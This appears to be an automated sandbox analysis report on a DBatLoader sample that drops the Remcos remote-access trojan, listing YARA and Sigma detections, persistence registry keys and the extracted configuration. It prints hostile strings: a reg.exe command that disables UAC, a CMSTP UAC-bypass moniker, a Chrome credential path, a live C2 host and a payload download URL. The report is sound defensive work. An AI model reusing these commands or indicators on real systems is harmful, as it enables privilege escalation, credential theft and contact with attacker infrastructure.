6.1.nmfsxfjX.pif.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
6.1.nmfsxfjX.pif.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0.2.udVh4Ist4Z.exe.2d60000.4.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
10.1.nmfsxfjX.pif.400000.3.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
10.1.nmfsxfjX.pif.400000.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.1.nmfsxfjX.pif.400000.3.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
10.1.nmfsxfjX.pif.400000.3.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
10.1.nmfsxfjX.pif.400000.3.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
0.2.udVh4Ist4Z.exe.2c59910.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
6.1.nmfsxfjX.pif.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
6.1.nmfsxfjX.pif.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
6.1.nmfsxfjX.pif.400000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
6.1.nmfsxfjX.pif.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
6.1.nmfsxfjX.pif.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
0.2.udVh4Ist4Z.exe.2c9ce08.2.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.udVh4Ist4Z.exe.2cbe308.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
16.1.nmfsxfjX.pif.400000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
16.1.nmfsxfjX.pif.400000.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.1.nmfsxfjX.pif.400000.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
16.1.nmfsxfjX.pif.400000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
16.1.nmfsxfjX.pif.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
Click to see the 30 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\nmfsxfjX.pif, CommandLine: C:\Users\Public\Libraries\nmfsxfjX.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\nmfsxfjX.pif, NewProcessName: C:\Users\Public\Libraries\nmfsxfjX.pif, OriginalFileName: C:\Users\Public\Libraries\nmfsxfjX.pif, ParentCommandLine: "C:\Users\user\Desktop\udVh4Ist4Z.exe", ParentImage: C:\Users\user\Desktop\udVh4Ist4Z.exe, ParentProcessId: 2056, ParentProcessName: udVh4Ist4Z.exe, ProcessCommandLine: C:\Users\Public\Libraries\nmfsxfjX.pif, ProcessId: 5000, ProcessName: nmfsxfjX.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Xjfxsfmn.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\udVh4Ist4Z.exe, ProcessId: 2056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Xjfxsfmn

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 13.107.137.11, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Libraries\Xjfxsfmn.PIF, Initiated: true, ProcessId: 4040, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49715

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Xjfxsfmn.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\udVh4Ist4Z.exe, ProcessId: 2056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Xjfxsfmn

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\nmfsxfjX.pif, CommandLine: C:\Users\Public\Libraries\nmfsxfjX.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\nmfsxfjX.pif, NewProcessName: C:\Users\Public\Libraries\nmfsxfjX.pif, OriginalFileName: C:\Users\Public\Libraries\nmfsxfjX.pif, ParentCommandLine: "C:\Users\user\Desktop\udVh4Ist4Z.exe", ParentImage: C:\Users\user\Desktop\udVh4Ist4Z.exe, ParentProcessId: 2056, ParentProcessName: udVh4Ist4Z.exe, ProcessCommandLine: C:\Users\Public\Libraries\nmfsxfjX.pif, ProcessId: 5000, ProcessName: nmfsxfjX.pif

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Remcos\remcos.exe", EventID: 13, EventType: SetValue, Image: C:\Users\Public\Libraries\nmfsxfjX.pif, ProcessId: 5000, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-L24XL1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp/C	URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\netutils.dll

Avira: detection malicious, Label: TR/AVI.Agent.rqsyc

Found malware configuration

Source: 16.1.nmfsxfjX.pif.400000.1.unpack

Malware Configuration Extractor: Remcos {"Version": "4.9.4 Pro", "Host:Port:Password": "kenoss.duckdns.org:1166:0", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-L24XL1", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	ReversingLabs: Detection: 63%
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Virustotal: Detection: 66%	Perma Link
Source: C:\Users\Public\Libraries\netutils.dll	ReversingLabs: Detection: 82%
Source: C:\Users\Public\Libraries\netutils.dll	Virustotal: Detection: 67%	Perma Link

Multi AV Scanner detection for submitted file

Source: udVh4Ist4Z.exe	ReversingLabs: Detection: 63%
Source: udVh4Ist4Z.exe	Virustotal: Detection: 66%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: udVh4Ist4Z.exe

Joe Sandbox ML: detected

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		6_1_00433837
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		10_1_00433837

Source: udVh4Ist4Z.exe, 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_8754e71a-3

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004074FD _wcslen,CoGetObject,		6_1_004074FD
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004074FD _wcslen,CoGetObject,		10_1_004074FD

Source: udVh4Ist4Z.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49725 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, easinvoker.exe.0.dr
Source:	Binary string: easinvoker.pdbH source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134401693.0000000014E81000.00000004.00000020.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, easinvoker.exe.0.dr

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D658CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02D658CC
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_1_00409253
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	6_1_0041C291
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	6_1_0040C34D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_1_00409665
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0044E879 FindFirstFileExA,	6_1_0044E879
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	6_1_0040880C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040783C FindFirstFileW,FindNextFileW,	6_1_0040783C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	6_1_00419AF5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	6_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	6_1_0040BD37
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 7_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	7_2_0040128D
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 7_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	7_2_00401612
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_1_00409253
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	10_1_0041C291
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	10_1_0040C34D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_1_00409665
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0044E879 FindFirstFileExA,	10_1_0044E879
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	10_1_0040880C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040783C FindFirstFileW,FindNextFileW,	10_1_0040783C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	10_1_00419AF5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	10_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	10_1_0040BD37
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 12_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	12_2_0040128D
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 12_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	12_2_00401612

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

6_1_00407C97

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: kenoss.duckdns.org

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D7C8AC InternetCheckConnectionA,

0_2_02D7C8AC

Source: Joe Sandbox View

IP Address: 13.107.137.11 13.107.137.11

Source: Joe Sandbox View

ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
